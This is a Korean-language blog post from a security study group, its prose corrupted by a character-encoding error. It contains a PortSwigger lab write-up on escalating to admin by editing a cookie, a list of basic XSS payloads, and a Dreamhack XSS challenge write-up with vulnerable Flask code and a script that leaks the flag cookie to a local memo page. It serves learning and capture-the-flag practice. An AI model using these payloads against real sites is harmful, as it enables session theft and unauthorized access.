1. Write-Up ์์ฑ
Lab: User role controlled by request parameter
๋ฌธ์ ์ ๋ชฉํ๋ /admin ๊ฒฝ๋ก์ ์๋ ๊ด๋ฆฌ์ ํจ๋์ ์ ๊ทผํ์ฌ ์ฌ์ฉ์ carlos๋ฅผ ์ญ์ ํ๋ ๊ฒ์ ๋๋ค.
์ฐ์ My account์ ๊ฐ์ ๋ฌธ์ ์ ๋์์๋ wiener:peter๋ก ๋ก๊ทธ์ธ์ ํด๋ณด๊ณ /admin ๊ฒฝ๋ก๋ก ๊ฐ๋ดค๋๋ฐ admin ํ์ด์ง์ ์ ๊ทผํ ์ ์์์ต๋๋ค.
๊ฐ๋ฐ์ ๋๊ตฌ๋ฅผ ์ด์ฉํด ์ฟ ํค๋ฅผ ๋ถ์ํด ๋ณด๋ admin ๊ฐ์ด false๋ก ๋์ด์์๊ณ ์ด๋ฅผ true ๊ฐ์ผ๋ก ๋ฐ๊ฟจ์ต๋๋ค.
๊ฐ์ true๋ก ๋ฐ๊พธ๊ณ ์๋ก๊ณ ์นจ์ ํ๋ Admin panel๋ก ๋ฐ๋์์ต๋๋ค.
๊ทธ๋ค์ /admin ๊ฒฝ๋ก๋ก ์ด๋ํ ๋ค ์ฌ์ฉ์ carlos๋ฅผ ์ญ์ ๋ฅผ ํด์ค์ผ๋ก์จ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ต๋๋ค!
2. xss ๊ณต๊ฒฉ์ ๋ง์ด ์ฐ์ด๋ ๊ณต๊ฒฉ ๊ตฌ๋ฌธ ์กฐ์ฌ
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
<script>alert('XSS');</script>
- <script> ํ๊ทธ๋ HTML ๋ฌธ์ ๋ด์์ ์๋ฐ์คํฌ๋ฆฝ์ ์ฝ์ ํ๊ธฐ ์ํ ํ๊ทธ
- ์ด ๊ตฌ๋ฌธ์ด ์คํ๋๋ฉด, ๋ธ๋ผ์ฐ์ ์์ alert() ํจ์๊ฐ ํธ์ถ๋์ด "XSS"๋ผ๋ ํ์ ์ฐฝ์ด ๋จ๊ฒ ๋๋ค.
- ๋ธ๋ผ์ฐ์ ๊ฐ HTML ์ฝ๋๋ฅผ ํ์ฑ ํ ๋, <script> ํ๊ทธ ๋ด์ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ค. ์ด๋ ์ฝ์ ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ฉด์ ๊ณต๊ฒฉ์ด ๋ฐ์ํ๊ฒ ๋๋ค.
- ๊ฐ๋จํ ๊ฒฝ๊ณ ์ฐฝ์ ๋์ฐ๋ ์คํฌ๋ฆฝํธ๋ก ๋ณด์ด์ง๋ง, ์ค์ง์ ์ธ ๊ณต๊ฒฉ์์๋ ์ ์ฑ ์ฝ๋๋ ํฌ๋กฌ ํ์ฅ ํ๋ก๊ทธ๋จ ์ค์น ์ ๋, ์ฌ์ฉ์ ์ธ์ ํ์ทจ ๋ฑ ์ฌ๊ฐํ ๊ณต๊ฒฉ์ผ๋ก ํ์ฅ๋ ์ ์๋ค.
<img src="#" onerror="alert('XSS')">
- <img> ํ๊ทธ๋ ์น ํ์ด์ง์ ์ด๋ฏธ์ง๋ฅผ ์ฝ์ ํ๊ธฐ ์ํ ํ๊ทธ
- onerror๋ ์ด๋ฏธ์ง๊ฐ ๋ก๋๋์ง ์๊ฑฐ๋ ์๋ฌ๊ฐ ๋ฐ์ํ์ ๋ ์คํ๋๋ ์ด๋ฒคํธ
- ์ด ๊ตฌ๋ฌธ์์๋ ์กด์ฌํ์ง ์๋ ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ๋ ค๋ค ์๋ฌ๊ฐ ๋ฐ์ํ๋ฉด, alert('XSS')๊ฐ ์คํ๋๋ค.
- ์ด๋ฏธ์ง ๋ก๋ฉ์ด ์คํจํ ๊ฒฝ์ฐ(ex. ์๋ชป๋ ๊ฒฝ๋ก, ํ์ผ์ด ์๋ ๊ฒฝ์ฐ ๋ฑ), onerror ์ด๋ฒคํธ ํธ๋ค๋ฌ ๋ด์ ์ฝ์ ๋ ์๋ฐ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ค. ๊ณต๊ฒฉ์๋ ์ด๋ฐ ๋ฐฉ์์ ์ด์ฉํด ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์น ํ์ด์ง์ ์ฝ์ ํ ์ ์๋ค.
- ์ด ๋ฐฉ์์ ์ฌ์ฉ์ ์ ๋ ฅ์ ๋ํ ๊ฒ์ฆ์ด ์ ๋๋ก ์ด๋ฃจ์ด์ง์ง ์๋ ์น ํ์ด์ง์์ ์์ฃผ ๋ฐ์ํ๋ค.
<a href="javascript:alert('XSS')">Click me</a>
- ์ด ๊ตฌ๋ฌธ์ HTML์ <a> ํ๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ๋งํฌ๋ฅผ ๋ง๋ค์ง๋ง, ์ผ๋ฐ์ ์ธ URL ๋์ javascript: ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ๋งํฌ๊ฐ ํด๋ฆญ๋ ๋ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ค. ์ด ๊ตฌ๋ฌธ์ ํด๋ฆญํ๋ฉด alert('XSS')๊ฐ ์คํ๋๋ค.
- javascript: ํ๋กํ ์ฝ์ URL์ ์ผ๋ถํ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์ง์ ์คํํ ์ ์๊ฒ ํ๋ค.
- ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ด์ฉํด ์ ์ฑ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์จ๊ฒจ๋๊ณ , ์ฌ์ฉ์๊ฐ ๋งํฌ๋ฅผ ํด๋ฆญํ๋๋ก ์ ๋ํ์ฌ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋๋ก ๋ง๋ ๋ค.
<input onfocus="alert(document.cookie)">
- ์ด ๊ตฌ๋ฌธ์ HTML ์ ๋ ฅ ํ๋์์ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๊ธฐ ์ํ DOM ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ด๋ค.
- onfocus๋ ์ฌ์ฉ์๊ฐ ์ ๋ ฅ ํ๋๋ฅผ ํด๋ฆญํ๊ฑฐ๋ ํฌ์ปค์ค๋ฅผ ๋ง์ถ ๋ ๋ฐ์ํ๋ ์ด๋ฒคํธ์ด๋ค.
- ์ด ๊ตฌ๋ฌธ์ ์ ๋ ฅ ํ๋๋ฅผ ํด๋ฆญํ๋ฉด document.cookie ๊ฐ์ ์๋ฆผ์ผ๋ก ํ์ํ๊ฒ ๋๋ค.
- DOM ๊ธฐ๋ฐ XSS๋ ์น ํ์ด์ง์ DOM(Document Object Model)์ ํตํด ์ง์ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ ๋ฐฉ์์ด๋ค.
- ๊ณต๊ฒฉ์๋ ์ด๋ฐ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ํตํด ๋ธ๋ผ์ฐ์ ์์ ์์ฃผ ์ฌ์ฉํ๋ ๋ฐ์ดํฐ(ex. ์ฟ ํค, ์ธ์ ID)๋ฅผ ํ์น ์ ์๊ฒ ๋๋ค.
<iframe src="javascript:alert('XSS')"></iframe>
- <iframe> ํ๊ทธ๋ ์น ํ์ด์ง ์์ ๋ ๋ค๋ฅธ ์น ํ์ด์ง๋ฅผ ์ฝ์ ํ ์ ์๋ HTML ํ๊ทธ์ด๋ค.
- ์ด ๊ตฌ๋ฌธ์์๋ src ์์ฑ์ javascript: ํ๋ก์ฝ์ ์ฌ์ฉํ์ฌ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋๋ก ์ค์ ๋์ด ์๋ค.
- iframe ํ๊ทธ๋ ์ผ๋ฐ์ ์ผ๋ก ์ธ๋ถ ์ฝํ ์ธ ๋ฅผ ๋ถ๋ฌ์ค๋ ์ฉ๋๋ก ์ฌ์ฉ๋๋ค.
- ํ์ง๋ง, ๊ณต๊ฒฉ์๋ javascript: ํ๋กํ ์ฝ์ ํตํด ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์์ผ๋ฉฐ, ์น ํ์ด์ง ๋ด์ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์จ๊ฒจ ์คํํ๋๋ก ํ ์ ์๋ค.
3. Write-Up ์์ฑํ๊ธฐ
https://dreamhack.io/wargame/challenges/28
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
๋ฌธ์ ๋ถ์
/flag ํ์ด์ง
- /flag ํ์ด์ง์์ ๊ฐ์ ์ ๋ ฅํด POST ์์ฒญ์ ๋ณด๋ด๋ฉด, ์ ๋ ฅ๋ ๊ฐ์ด param ๋ณ์๋ก ์ค์ ๋ฉ๋๋ค.
- ์ดํ, ์ด param ๊ฐ๊ณผ ์ฟ ํค๊ฐ ๋ด๊ธด flag ๊ฐ์ด check_xss ํจ์๋ก ์ ๋ฌ๋ฉ๋๋ค.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
- check_xss ํจ์๋ ์ ๋ ฅ๋ param ๊ฐ์ http://127.0.0.1:8000/vuln?param=[์ ๋ ฅ๋ ๊ฐ] URL์ ์ฝ์ ํ๊ณ , ์ฟ ํค์๋ ํ๋๊ทธ๊ฐ ํฌํจ๋ cookie ๊ฐ์ ์ ๋ฌํฉ๋๋ค.
- ์ด URL์ read_url ํจ์์ ๋๊ฒจ, ๋ธ๋ผ์ฐ์ ๊ฐ ํด๋น URL์ ๋ก๋ํ๋๋ก ํ๋๋ฐ, ์ด๋ ํ๋๊ทธ๊ฐ ์ฟ ํค๋ก ์ค์ ๋ฉ๋๋ค.
read_url ํจ์
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
- ์ด ํจ์๋ ๋ก์ปฌ ํธ์คํธ์ ์ ์ํ ๋ค, ํ๋๊ทธ๋ฅผ ๋ด์ ์ฟ ํค๋ฅผ ์ค์ ํ๊ณ , /vuln ํ์ด์ง๋ก ์ ์ํฉ๋๋ค.
- ๊ฒฐ๊ณผ์ ์ผ๋ก, ์ฟ ํค ๊ฐ์ด ํ๋๊ทธ๋ฅผ ํฌํจํ๊ฒ ๋ฉ๋๋ค.
/vuln ํ์ด์ง
- /vuln ํ์ด์ง๋ ์ ๋ฌ๋ param ๊ฐ์ ๊ทธ๋๋ก ๋ฐํํ๋๋ฐ, ์ฌ๊ธฐ์ ์ ๋ ฅ๋ ๊ฐ์ด ์น ํ์ด์ง์ ๊ทธ๋๋ก ์ถ๋ ฅ๋๊ธฐ ๋๋ฌธ์ XSS ์ทจ์ฝ์ ์ด ์กด์ฌํฉ๋๋ค.
- ์ฆ, ์ฌ์ฉ์๊ฐ ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ์ ๋ ฅํ๋ฉด ์ด ์ฝ๋๊ฐ ์คํ๋ ์ ์์ต๋๋ค.
/memo ํ์ด์ง
- /memo?memo=๊ฐ์ ํํ๋ก ์ ๊ทผํ๋ฉด, memo์ ์ ๋ฌ๋ ๊ฐ์ด ์น ํ์ด์ง์ ๊ทธ๋๋ก ํ์๋ฉ๋๋ค.
- ์ด ํ์ด์ง๋ฅผ ํตํด ์ฟ ํค ๊ฐ์ ์ถ๋ ฅํ ์ ์์ต๋๋ค.
๋ชฉํ๋ /flag ํ์ด์ง์ ๊ฐ์ ์ ๋ ฅํด XSS ๊ณต๊ฒฉ์ ์คํํ๊ณ , ํ๋๊ทธ๊ฐ ๋ด๊ธด ์ฟ ํค๋ฅผ /memo ํ์ด์ง๋ฅผ ํตํด ์ถ๋ ฅํ๋ ๊ฒ์ ๋๋ค. ์ด๋ฅผ ์ํด, XSS ์คํฌ๋ฆฝํธ๋ฅผ /vuln?param= ๋ค์ ์ ๋ ฅํด ์คํํด์ผ ํฉ๋๋ค.
<script>
location.href="http://127.0.0.1:8000/memo?memo=" + document.cookie;
</script>
์ด ์คํฌ๋ฆฝํธ๋ ์คํ๋๋ฉด document.cookie (ํ์ฌ ํ์ด์ง์ ์ฟ ํค, ์ฆ ํ๋๊ทธ๊ฐ ํฌํจ๋ ์ฟ ํค)๋ฅผ ์ฝ๊ณ , ์ด๋ฅผ /memo ํ์ด์ง๋ก ์ ๋ฌํ์ฌ ํด๋น ๊ฐ์ ์ถ๋ ฅํ๊ฒ ๋ ๊ฒ์ด๋ค.
์ ์ถ์ ํ๊ณ memo ํ์ด์ง์ ๊ฐ๋ฉด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๊ฒ ๋๋ค.
๋ฌธ์ ํด๊ฒฐ ์์ฝ
- /flag ํ์ด์ง์์ ๊ฐ์ ์ ๋ ฅํ๋ฉด, ์ด ๊ฐ์ด /vuln?param=์ ๋ ฅํ ๊ฐ URL๋ก ์ ๋ฌ๋ฉ๋๋ค.
- /vuln ํ์ด์ง๋ param ๊ฐ์ ๊ทธ๋๋ก ์ถ๋ ฅํ๊ธฐ ๋๋ฌธ์, XSS ์ทจ์ฝ์ ์ด ์กด์ฌํฉ๋๋ค.
- XSS ๊ณต๊ฒฉ์ ํตํด, ์ ์ฑ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ฌ ์ฟ ํค(ํ๋๊ทธ)๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค.
- ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์ด์ฉํด document.cookie ๊ฐ์ /memo ํ์ด์ง๋ก ์ ๋ฌํ๋ฉด, ํ๋๊ทธ๋ฅผ ์ถ๋ ฅํ ์ ์์ต๋๋ค.
'EVI$ION > 7th' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[EVI$ION] Pwnable (2) | 2024.11.21 |
---|---|
[EVI$ION] #4 - Reversing 1 (0) | 2024.11.07 |
[EVI$ION] #3 - Digital Forensic Assignment (5) | 2024.10.06 |
[EVI$ION] #2 - Web Hacking Assignment (1) | 2024.09.26 |